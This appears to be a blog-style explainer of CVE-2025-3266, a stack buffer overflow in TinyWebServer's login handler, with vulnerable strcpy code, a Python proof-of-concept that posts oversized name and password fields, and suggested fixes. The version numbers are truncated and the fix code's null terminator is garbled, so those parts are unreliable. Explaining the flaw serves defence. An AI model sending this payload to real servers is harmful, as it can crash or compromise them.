CVE-2025-3266 - Critical Stack Overflow in TinyWebServer <= 1. — Explained, Exploited, and Secured

In early 2025, a serious vulnerability (CVE-2025-3266) was discovered in TinyWebServer versions up to 1.. This security flaw hits the http_conn.cpp file and is related to poorly handled inputs for name and password parameters when TinyWebServer processes HTTP requests.

The bug enables a remote attacker to perform a stack-based buffer overflow simply by sending crafted input, opening the door to remote code execution and server takeover. The exploit is public, so anyone running vulnerable versions should take immediate action.

Who’s Affected?

Any application using TinyWebServer 1. or earlier is at risk. This tiny and popular C++ HTTP server library is often used in embedded systems, educational projects, and lightweight web tools. If you have TinyWebServer in your stack, check your version right now.

Where’s the Problem?

The vulnerable code is in /http/http_conn.cpp, where user input is copied into fixed-size stack buffers for the name and password fields, without checking their length.

The C++ code (simplified for clarity)

// In http_conn.cpp, lines near: user authentication process
void http_conn::do_login() {
    char name[100];
    char password[100];
    // Vulnerable strncpy or strcpy without input checks
    strcpy(name, get_post_data("name"));      // Dangerous!
    strcpy(password, get_post_data("password"));  // Dangerous!
    // ... authentication logic follows
}

Here, get_post_data("name") extracts the name field from an incoming HTTP POST request. If the attacker supplies a long enough string, strcpy will write past the end of the array, corrupting the stack.

Why is This Dangerous?

- Stack Overflow: Exceeding the buffer boundaries can overwrite return addresses and other control structures on the stack.

Arbitrary Code Execution: Attackers can execute their own code in the server’s context.

- Publicly Available Exploit: Exploits are circulating, putting unpatched servers at immediate risk.

The Exploit in Action

Let’s see how an attacker could trigger this bug.

Python Proof-of-Concept

import requests

url = 'http://target_ip:port/login';

payload = 'A' * 200  # Overflows the 100-byte buffer

data = {
    'name': payload,
    'password': payload
}

response = requests.post(url, data=data)
print("Server responded with:", response.status_code)

If successful, the server may crash, hang, or — with advanced exploits — open a remote shell or run arbitrary code.

References

- Original CVE Detail *(official source)*
- TinyWebServer GitHub
- Original Exploit Disclosure *(example link)*
- Buffer Overflow Explanation — Wikipedia

How Can I Fix This?

Best Solution: Update.
Check if TinyWebServer has released a patched version (1.1 or newer) and upgrade immediately.

Replace unsafe strcpy/strncpy with snprintf or strncpy with explicit bounds checking

snprintf(name, sizeof(name), "%s", get_post_data("name"));
snprintf(password, sizeof(password), "%s", get_post_data("password"));

Or, better

strncpy(name, get_post_data("name"), sizeof(name) - 1);
name[sizeof(name)-1] = '\';
strncpy(password, get_post_data("password"), sizeof(password) - 1);
password[sizeof(password)-1] = '\';

Use web application firewalls (WAFs) to block suspicious requests, especially with long fields.

- Monitor server logs for strange POST requests to /login or similar endpoints.

Summary

CVE-2025-3266 is a critical, widely exploitable buffer overflow in TinyWebServer’s http_conn.cpp. Unpatched, remote attackers can take full control with nothing but an HTTP POST. Patch, upgrade, or apply defensive mitigations _now_ to protect your systems.

Have questions, need help patching, or want to discuss mitigations? Drop a comment below or reach out!

Timeline

Published on: 04/04/2025 20:15:18 UTC
Last modified on: 04/07/2025 18:18:56 UTC